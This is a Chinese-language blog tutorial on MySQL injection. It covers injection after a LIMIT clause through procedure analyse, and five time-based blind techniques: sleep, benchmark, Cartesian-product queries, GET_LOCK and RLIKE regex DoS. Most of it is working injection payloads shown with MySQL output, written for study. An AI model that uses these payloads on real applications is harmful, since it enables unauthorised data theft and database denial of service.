sql注入之limit注入和五种时间盲注姿势

0x00前言

limit注入和时间前面也提过一点点了,真的非常简单,真不太想单独写一个这个来水博客。。这里还是记录一下吧以后忘了方便复习。

0x01 limit基础知识

照抄前面的:

这里简单记录一下我自己经常会忘的知识点,觉得不值得再写一篇博客去水了233

使用查询语句的时候,经常要使用limit返回前几条或者中间某几行数据

SELECT?*?FROM?table?LIMIT?[offset,]?rows?|?rows OFFSET offset

LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。

LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。

如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

初始记录行的偏移量是 0(而不是 1):?

比如:

SELECT?*?FROM?table?LIMIT?5,10;??//?检索记录行?6-15,从5+1开始算

SELECT?*?FROM?table?LIMIT?95,-1;?//?检索记录行?96-last.从95+1开始算

//如果只给定一个参数,它表示返回最大的记录行数目:

SELECT?*?FROM?table?LIMIT?5;?????//检索前?5?个记录行

//换句话说,LIMIT n 等价于 LIMIT?0,n

我们再来看一下我们的上面用到的

爆表

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),§1§,1))=§32§)--+

解释:从第一行开始检索,返回前面1行(0+1)。

如果我们想要爆破第二张表(这里只是随便举例,一般就1张表里面多个字段)

" or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),§1§,1))=§32§)--+

解释:从第二行开始检索,返回前面2行(1+1)。

爆字段

" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 2,1),§1§,1))=§32§)--+

爆破字段,当我们手动盲注这里他表里可能有多个字段,我们分别对这几个字段先猜测长度:

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1))=2)--+正常

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 1,1))=8)--+正常

" or (length((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 2,1))=8)--+正常

所以user_2表的数据字段长度分别为2、8、8

猜出来长度再进行爆破具体字段名:

第一个字段

" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1),1,1))>106)--+不回显" or (ascii(substr((select column_name from information_schema.columns where table_name=‘user_2‘ and table_schema=database() limit 0,1),1,1))>105)--+不回显

所以user_2表的第一个字段的字段名的第一个字符ASCII码为105,即“i”。

猜第二个字段把limit 0,1改为limit 1,1

猜第三个字段把limit 0,1改为limit 2,1

以上就是limit在盲注中的作用。

limit注入

参考:

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

此方法适用于MySQL 5.x中,在limit语句后面的注入

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
  //上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,否则利用UNION很容易就可以读取数据了,看看在MySQL 5中的SELECT语法: `
SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE ‘file_name‘ export_options
      | INTO DUMPFILE ‘file_name‘
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的。

Example:select*from limittest limit 1,[可控点] or select ... limit [可控点]

在Limit后面 可以用 procedure analyse()这个子查询

而且只能用extractvalue 和 benchmark 函数进行延时

报错注入

mysql> select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.53‘

updatexml+benchmark也是可以的,这两个函数虽然返回结果相同,但是还是有区别的。

时间注入

elect * from users where id>1 order by id limit 1,1 procedure analyse((select extractvalue
(rand(),concat(0x3a,(IF(MID(version(),1,1) like 5,BENCHMARK(5000000,SHA1(1)),1))))),1);

这里解释一下benchmark,后面也会提到。

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)

可以看到大概执行10000000次会造成2.75秒的延时

五种时间盲注姿势

参考

https://xz.aliyun.com/t/5505#toc-0

sleep()函数

benchmark函数

BENCHMARK(count,expr)

benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式 比如 benchmark(10000000,sha1(1)) 意思是执行sha1函数10000000次 使mysql运算量增大 导致延时 有点类似与多表联合查询(笛卡尔积)

可以看到大概执行10000000次会造成2.75秒的延时

笛卡尔积盲注

注入姿势

mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*)  |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)

mysql> select * from ctf_test where user=‘1‘ and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
+------+-----+
| user | pwd |
+------+-----+
| 1    | 0   |
+------+-----+
1 row in set (2.08 sec)

mysql> select * from ctf_test where user=‘1‘ and 1=0 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);
Empty set (0.01 sec)

利用and短路运算规则进行时间盲注。

GET_LOCK盲注

get_lock函数官方文档中的介绍

可以看出文档中写的是我们如果已经开了一个session,对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。

此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入

SESSION A

mysql> select get_lock(‘lihuaiqiu‘,1);
+-------------------------+
| get_lock(‘lihuaiqiu‘,1) |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

SESSION B

mysql> select get_lock(‘lihuaiqiu‘,5);
+-------------------------+
| get_lock(‘lihuaiqiu‘,5) |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set (5.00 sec)

mysql> select * from ctf_test where user=‘0‘ and 1=1 and  get_lock(‘lihuaiqiu‘,2);
Empty set (2.00 sec)

mysql> select * from ctf_test where user=‘0‘ and 1=0 and  get_lock(‘lihuaiqiu‘,2);
Empty set (0.00 sec)

正则DOS?RLIKE注入

延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。

mysql> select * from flag where flag=‘1‘ and if(mid(user(),1,1)=‘s‘,concat(rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b‘,1);
+------+
| flag |
+------+
| 1    |
+------+
1 row in set (0.00 sec)

mysql> select * from flag where flag=‘1‘ and if(mid(user(),1,1)=‘r‘,concat(rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘),rpad(1,999999,‘a‘)) RLIKE ‘(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd‘,1);
Empty set (3.83 sec)

参考

https://xz.aliyun.com/t/5505#toc-0

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

原文地址:https://www.cnblogs.com/wangtanzhi/p/12591529.html

时间: 2024-10-11 21:07:54

sql注入之limit注入和五种时间盲注姿势的相关文章

SQL盲注--时间盲注

SQL盲注--时间盲注 原文地址:https://www.cnblogs.com/blogs-1024/p/11261651.html

webgote的例子(6)SQL注入(盲注)

SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候我们的步骤就比较麻烦了,我们只能通过对错的方式进行盲注(如下演示) 首先我们看一眼这是一个正常的显示页面. 加了一个点后也有不一样的地方........ 电影票的数字没了... Sql的系统语句错误也被很好的掩盖掉了.我们再加一个注释看看 又输入了一个注释符后页面又恢复了正常.说明这个地方仍旧有漏洞

DVWA-sql注入(盲注)

DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程. DVWA共有十个模块,分别是Brute Force(暴力(破解)).Command Injection(命令行注入).CSRF(跨站请求伪造).File Inclusion(文件包含).File Upload(文件上传).Insecure

注入学习(3) Mysql+php注入 基于bool和时间的盲注

练习三:Mysql+php 基于bool和时间的盲注 今天要用的函数(详细的直接看链接): left()函数:left()得到字符串左部指定个数的字符 left( string, n ) #string为要截取的字符串,n为长度 limit()函数:标准定义找百度 limit(a,b)  #我的理解 从第a个位置,截取b个数据 if语句/if()函数:在MySQL中语法如下 if(a,b,c)  #如果a为真,则if()函数执行b语句; 否则if()函数执行c语句; sleep()函数:函数代码

小白日记42:kali渗透测试之Web渗透-SQL盲注

SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注. 思路:既然无法基于报错信息判断结果,基于逻辑真假的不同结果来判断 a.  1' and 1=1--+ b.  1' and 1=2--+    [输入前真后假,无返回,页面没被执行] ###a与b比较,表明存在SQL注

Spring事务Transaction配置的五种注入方式详解

Spring事务Transaction配置的五种注入方式详解 前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识.通过这次的学习发觉Spring的事务配置只要把思路理清,还是比较好掌握的. ??? 总结如下: ??? Spring配置文件中关于事务配置总是由三个组成部分,分别是DataSource.TransactionManager和代理机制这三部分,无论哪种配置方式,一般变化的只是代理机制这部分. ???DataSou

spring注入bean的五种方式

1.属性注入 2.构造方法注入 3.静态工厂注入 package com.voole.factorybeans; import com.voole.beans.TestBean; public class StaticFactoryBean { public static TestBean createInstance(){ return new TestBean(); } } <bean id="staticFactoryTestBean" class="com.vo

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

Sql 注入详解:宽字节注入+二次注入

sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshell 或者直接执行系统命令 (2) 权限较小时,通过注入获得管理员密码信息,或者修改数据库内容进行钓鱼等 常出现的地方: 登录页面.获取HTTP头(user-agent.client-ip等).订单处理等,HTTP头里面client-ip 和 x-forward-for 常出现漏洞,在涉及购物车的地方